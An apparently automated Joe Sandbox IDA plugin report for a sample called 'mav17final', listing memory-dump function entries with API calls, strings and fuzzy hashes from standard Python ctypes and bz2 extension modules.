Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$FormatInstanceObject_String
String ID: Pointer does not support item deletion$expected %s instead of %s
API String ID: 341772743-2046472288
Opcode ID: 56d4fabad618d8a5c8e6f1fde8dcb41e7996936431b442245916351dcbdf5c73
Instruction ID: cdb02988190d50a224ca1079db819526259d7d25d5cf2cb549970717065ffcf9
Opcode Fuzzy Hash: 56d4fabad618d8a5c8e6f1fde8dcb41e7996936431b442245916351dcbdf5c73
Instruction Fuzzy Hash: A8212C61A08F8282EA449F6EE8400B92760EF85BE6F186136DF1D873A5DF3CE485C300

Function 00007FF8B9F6DB58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6DB7E
PyLong_FromLong.PYTHON311 ref: 00007FF8B9F6DBE9
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6DC01
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6DC16

Strings

OO:CopyComPointer, xrefs: 00007FF8B9F6DB71

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Arg_FromLongLong_ParseTuple
String ID: OO:CopyComPointer
API String ID: 1908940310-822416302
Opcode ID: a50de67720cd425b58803957e1784c7b340943145018a53cdb6de08dc5e3c1c0
Instruction ID: 18f4d6887c94b095f77d5b3bc51ee7d7b102e856c4cfaff675c673e48978d74e
Opcode Fuzzy Hash: a50de67720cd425b58803957e1784c7b340943145018a53cdb6de08dc5e3c1c0
Instruction Fuzzy Hash: D821F532A08B8685EB558F79DC401B82775AB88BF9F086636DB5D57B98CF3CE045D210

Function 00007FF8B9F657CC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

PyDict_Next.PYTHON311 ref: 00007FF8B9F693A2
PyErr_SetString.PYTHON311 ref: 00007FF8B9F693C2

Strings

args not a tuple?, xrefs: 00007FF8B9F693B1
too many initializers, xrefs: 00007FF8B9F69367

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dict_Err_NextString
String ID: args not a tuple?$too many initializers
API String ID: 1977209248-2791065560
Opcode ID: f4fd08385035d02860af40dbb96f0e851c8c10ea306c559d0ae5fa500cb6d0af
Instruction ID: 6aabb2aca38c9abeb29e13bb4ec2109c51a446ff96f45be186497c3c31cd3e53
Opcode Fuzzy Hash: f4fd08385035d02860af40dbb96f0e851c8c10ea306c559d0ae5fa500cb6d0af
Instruction Fuzzy Hash: CC217F61A08BC281EA508F19E4403B967A0FB45BF5F146236EB6D53BE5CF2CD499C700

Function 00007FF8B9072EE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B9072F23
GetLastError.KERNEL32 ref: 00007FF8B9072F31
CloseHandle.KERNEL32 ref: 00007FF8B9072F7F

Strings

automatically set for PID 0, xrefs: 00007FF8B9072F0B
OpenProcess, xrefs: 00007FF8B9072F3C

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseErrorHandleLastOpenProcess
String ID: OpenProcess$automatically set for PID 0
API String ID: 3453201768-2746090705
Opcode ID: 44ebf947db6b65e1c872427e22240e614757305328dfd4b20febe6f3e275686b
Instruction ID: dd879f538bfdcb5a8f1a499b2382a62e34ce0883b6b79a7138f326f78a826e75
Opcode Fuzzy Hash: 44ebf947db6b65e1c872427e22240e614757305328dfd4b20febe6f3e275686b
Instruction Fuzzy Hash: 4F117011F0C6C682EF549F2EE8841799AA1AFA9BE0F444035EB0D47795EE2CE8478700

Function 00007FF8B90C2354 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_PyLong_AsInt.PYTHON311 ref: 00007FF8B90C2396
_PyArg_NoKeywords.PYTHON311 ref: 00007FF8B90CB24C
_PyArg_CheckPositional.PYTHON311 ref: 00007FF8B90CB26F
PyErr_Occurred.PYTHON311 ref: 00007FF8B90CB282

Strings

BZ2Compressor, xrefs: 00007FF8B90CB245, 00007FF8B90CB265

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Arg_$CheckErr_KeywordsLong_OccurredPositional
String ID: BZ2Compressor
API String ID: 1699739194-1096114097
Opcode ID: 428fb968040cf0367ecb5975a9571f17589fde077a9351a0a9a78da93643c136
Instruction ID: 42f66e4202d63bb0111d0f9ce07d6499ef7bcc9e0fc5a9b5f59375a5d98bd822
Opcode Fuzzy Hash: 428fb968040cf0367ecb5975a9571f17589fde077a9351a0a9a78da93643c136
Instruction Fuzzy Hash: 1D113031B086C286EE209F6DA44017A62B0FF94BD0F544535DB5E87A95DF2CE48E9610

Function 00007FF8B9F6E008 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON311 ref: 00007FF8B9F6E022
PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6E060
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6E096
PyLong_FromLong.PYTHON311 ref: 00007FF8B9F6E09E

Strings

ctypes.set_errno, xrefs: 00007FF8B9F6E011

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Arg_AuditDeallocFromLongLong_ParseSys_Tuple
String ID: ctypes.set_errno
API String ID: 928689845-1564666054
Opcode ID: 59a8a5489d63178a80b732e192b127fc94092e90c4c175c04c3ca01ed042f338
Instruction ID: 84ea74b960b6ebb74176d2c9e353d63ac1b74071344a60671312147b7f8e6083
Opcode Fuzzy Hash: 59a8a5489d63178a80b732e192b127fc94092e90c4c175c04c3ca01ed042f338
Instruction Fuzzy Hash: 97116562F18BC2D2EF548F69E8844B92BA1EF497E2F586035DB4D47350DE2CE595C700

Function 00007FF8B9F6E0B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6E060
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6E096
PyLong_FromLong.PYTHON311 ref: 00007FF8B9F6E09E
PySys_Audit.PYTHON311 ref: 00007FF8B9F6E0CA

Strings

ctypes.set_last_error, xrefs: 00007FF8B9F6E0B9

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Arg_AuditDeallocFromLongLong_ParseSys_Tuple
String ID: ctypes.set_last_error
API String ID: 928689845-913187751
Opcode ID: f23f19bccc13864e0ba767f98ec326220a154fbbf3424597505e894eb8dd0003
Instruction ID: f66729374bc23507b7e1c5044efa5754909e02bf4494d41081e2883a5d4ffa51
Opcode Fuzzy Hash: f23f19bccc13864e0ba767f98ec326220a154fbbf3424597505e894eb8dd0003
Instruction Fuzzy Hash: 61116562F18BC2D2EF548F69E8844B92BA1EF4A7E2F586035DB0D47391DE2CE595C700

Function 00007FF8B9F6B8B4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F63D98: PyType_IsSubtype.PYTHON311(?,?,?,?,00007FF8B9F6132C), ref: 00007FF8B9F63DB1

PyUnicode_AsUTF8.PYTHON311 ref: 00007FF8B9F6B90C
strchr.VCRUNTIME140 ref: 00007FF8B9F6B91C
PyErr_Format.PYTHON311 ref: 00007FF8B9F6B952

Strings

'out' parameter %d must be a pointer type, not %s, xrefs: 00007FF8B9F6B945
PzZ, xrefs: 00007FF8B9F6B912

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_FormatSubtypeType_Unicode_strchr
String ID: 'out' parameter %d must be a pointer type, not %s$PzZ
API String ID: 3500358371-2360062653
Opcode ID: fceb702919c06022e64addd7c9aaba2d34447d85d2b2cb0159e7ba4236f850e0
Instruction ID: 7fa99d759dd0d06fd4138bc4cdfa4a564c733b1ad73f52bf22848139d1cef3df
Opcode Fuzzy Hash: fceb702919c06022e64addd7c9aaba2d34447d85d2b2cb0159e7ba4236f850e0
Instruction Fuzzy Hash: 75111921A0CB8791EB509F69E48067827A0EF86BEBF486031DF4D473A5DE6CE844C300

Function 00007FF8B9F6C174 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F63D98: PyType_IsSubtype.PYTHON311(?,?,?,?,00007FF8B9F6132C), ref: 00007FF8B9F63DB1

PyUnicode_AsUTF8.PYTHON311 ref: 00007FF8B9F6C1CA
strchr.VCRUNTIME140 ref: 00007FF8B9F6C1DA
PyErr_Format.PYTHON311 ref: 00007FF8B9F6C20D

Strings

cast() argument 2 must be a pointer type, not %s, xrefs: 00007FF8B9F6C203
sPzUZXO, xrefs: 00007FF8B9F6C1D0

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_FormatSubtypeType_Unicode_strchr
String ID: cast() argument 2 must be a pointer type, not %s$sPzUZXO
API String ID: 3500358371-1038790478
Opcode ID: 00c494f3386268376c83a7897981a44eeb5e2169e225d7a55c5354403a66d736
Instruction ID: 867d0bb9d2a7eeafe09d4cb5e277787cd32380d1b686f2a0417a9a225e4ae458
Opcode Fuzzy Hash: 00c494f3386268376c83a7897981a44eeb5e2169e225d7a55c5354403a66d736
Instruction Fuzzy Hash: A6110A61A08BC291FA549F5DD8506B827A0AF95FE6F486035CF4D877A5EF2CE884C310

Function 00007FF8B90C23CC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41threadCOMMON

Download Yara Rule

APIs

PyThread_allocate_lock.PYTHON311(?,?,?,00007FF8B90C23B0), ref: 00007FF8B90C23E7

Part of subcall function 00007FF8B90C21A0: memset.VCRUNTIME140 ref: 00007FF8B90C22F3

PyThread_free_lock.PYTHON311 ref: 00007FF8B90CB2AA
PyErr_SetString.PYTHON311(?,?,?,00007FF8B90C23B0), ref: 00007FF8B90CB2C8

Strings

compresslevel must be between 1 and 9, xrefs: 00007FF8B90CB2BE
Unable to allocate lock, xrefs: 00007FF8B90CB29D

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Err_StringThread_allocate_lockThread_free_lockmemset
String ID: Unable to allocate lock$compresslevel must be between 1 and 9
API String ID: 681419693-2500606449
Opcode ID: 60b2f2588c32191dab62882afd88846cf50051bc512abb92ff4babc415602f46
Instruction ID: 85914b0421d80093e926ad86113b1951b2182f474074a45c00085def155c11dd
Opcode Fuzzy Hash: 60b2f2588c32191dab62882afd88846cf50051bc512abb92ff4babc415602f46
Instruction Fuzzy Hash: 75110A31A18A8692EF009F2DE48037C63B8FF94B98F504135DB1D466A4EF3CE89AC350

Function 00007FF8B9F64F94 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON311(?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F64FA8
PyDict_New.PYTHON311(?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F64FBC
PyErr_NewException.PYTHON311(?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F64FDA

Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6504E
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65065
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6507D
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F650A0
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F650C6
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F650EC
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65112
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65138
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6515E
Part of subcall function 00007FF8B9F65028: PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65181
Part of subcall function 00007FF8B9F65028: PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F651A7
Part of subcall function 00007FF8B9F65028: PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F651CD
Part of subcall function 00007FF8B9F65028: PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F651F3
Part of subcall function 00007FF8B9F65028: PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65219

Part of subcall function 00007FF8B9F65304: PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6532F
Part of subcall function 00007FF8B9F65304: PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65366
Part of subcall function 00007FF8B9F65304: PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6538B
Part of subcall function 00007FF8B9F65304: PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F653AA
Part of subcall function 00007FF8B9F65304: PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F653CC
Part of subcall function 00007FF8B9F65304: PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F653EB
Part of subcall function 00007FF8B9F65304: PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6540D
Part of subcall function 00007FF8B9F65304: PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6542C
Part of subcall function 00007FF8B9F65304: PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65451
Part of subcall function 00007FF8B9F65304: PyModule_AddObjectRef.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65470
Part of subcall function 00007FF8B9F65304: PyLong_FromLong.PYTHON311(?,?,00000000,00007FF8B9F6500E,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65495

Strings

ctypes.ArgumentError, xrefs: 00007FF8B9F64FD1
_unpickle, xrefs: 00007FF8B9F64F9E

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Module_ReadyType_$Object$FromLongLong_$Type$AttrDict_Err_ExceptionObject_String
String ID: _unpickle$ctypes.ArgumentError
API String ID: 4217053054-165408235
Opcode ID: 32827969c832a808a66d5017e69f26ea533dafa79bf6c295bc1895e8a6d04efa
Instruction ID: cc6a013d884a46fce7c448a51f75d1ba44c0a66fec81e4e5c8ab4a2281887996
Opcode Fuzzy Hash: 32827969c832a808a66d5017e69f26ea533dafa79bf6c295bc1895e8a6d04efa
Instruction Fuzzy Hash: B9014C30A19F83A2FA509F6DEA801342AA8AF4A7F2F491134CB1C513A1EF3DE054C210

Function 00007FF8B9F65820 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_DelItem.PYTHON311 ref: 00007FF8B9F6583B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6585E
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F65888
_PyErr_WriteUnraisableMsg.PYTHON311 ref: 00007FF8B9F693D9

Strings

on calling _ctypes.DictRemover, xrefs: 00007FF8B9F693D2

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Dict_Err_ItemUnraisableWrite
String ID: on calling _ctypes.DictRemover
API String ID: 2766432985-2232269487
Opcode ID: 256ea331e05c61a4a808f1e36cd886345c9bade03a7633d5d0aea444e30aedf2
Instruction ID: dac86fe1d6dbdfdac3826892e910dd672eb4080727f6344bd0e062f57a4cdddc
Opcode Fuzzy Hash: 256ea331e05c61a4a808f1e36cd886345c9bade03a7633d5d0aea444e30aedf2
Instruction Fuzzy Hash: E001ED62E49A8285FF598F7DD85433C2260EF55BE6F186631CB1E157A0CF2CD565C340

Function 00007FF8B9F6B368 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

PyUnicode_FromFormat.PYTHON311 ref: 00007FF8B9F6B397
PyUnicode_FromFormat.PYTHON311 ref: 00007FF8B9F6B3C9
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6B3DB

Strings

%s(%R), xrefs: 00007FF8B9F6B3BB
<%s object at %p>, xrefs: 00007FF8B9F6B390

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: FormatFromUnicode_$Dealloc
String ID: %s(%R)$<%s object at %p>
API String ID: 1714529502-296555854
Opcode ID: 7e64ef3b32a657b11c2f44244a8f51ce1e0c9cec8aec46fab4d60a3fe1e5b4e0
Instruction ID: da7511c7cce5cc6edcd0f2802d73430aed6815ea78b78dbdcaac48fe1ed736f0
Opcode Fuzzy Hash: 7e64ef3b32a657b11c2f44244a8f51ce1e0c9cec8aec46fab4d60a3fe1e5b4e0
Instruction Fuzzy Hash: AA010862A09E8281EE049F6AE8800AD6760FF58FE6B086137CF0D07365DE3CE895C300

Function 00007FF8B9F6C938 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

PySys_GetObject.PYTHON311 ref: 00007FF8B9F6C96C
PyOS_vsnprintf.PYTHON311 ref: 00007FF8B9F6C98F
PyFile_WriteString.PYTHON311 ref: 00007FF8B9F6C9AB
PyErr_Print.PYTHON311 ref: 00007FF8B9F6C9B1

Strings

stderr, xrefs: 00007FF8B9F6C965

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_File_ObjectPrintS_vsnprintfStringSys_Write
String ID: stderr
API String ID: 1103062482-1769798200
Opcode ID: 9a0837009893c9ce3f6b921fad968050c61bacc10e62fde9b4fb5cee5af4f5c7
Instruction ID: 8f710989a4fa7053e1afd3fc0c8b436cf643ad359956fef7d52b70ff3eac726e
Opcode Fuzzy Hash: 9a0837009893c9ce3f6b921fad968050c61bacc10e62fde9b4fb5cee5af4f5c7
Instruction Fuzzy Hash: F9011E22A18FC591EA208F14F8993B97760FF9AB96F580036CB8D43364DF3CE554C640

Function 00007FF8B9F6F4E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON311 ref: 00007FF8B9F6F515
memcpy.VCRUNTIME140 ref: 00007FF8B9F6F539
PyErr_Format.PYTHON311 ref: 00007FF8B9F6F560

Strings

bytes too long (%zd, maximum length %zd), xrefs: 00007FF8B9F6F556
expected bytes, %s found, xrefs: 00007FF8B9F6F507

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_Format$memcpy
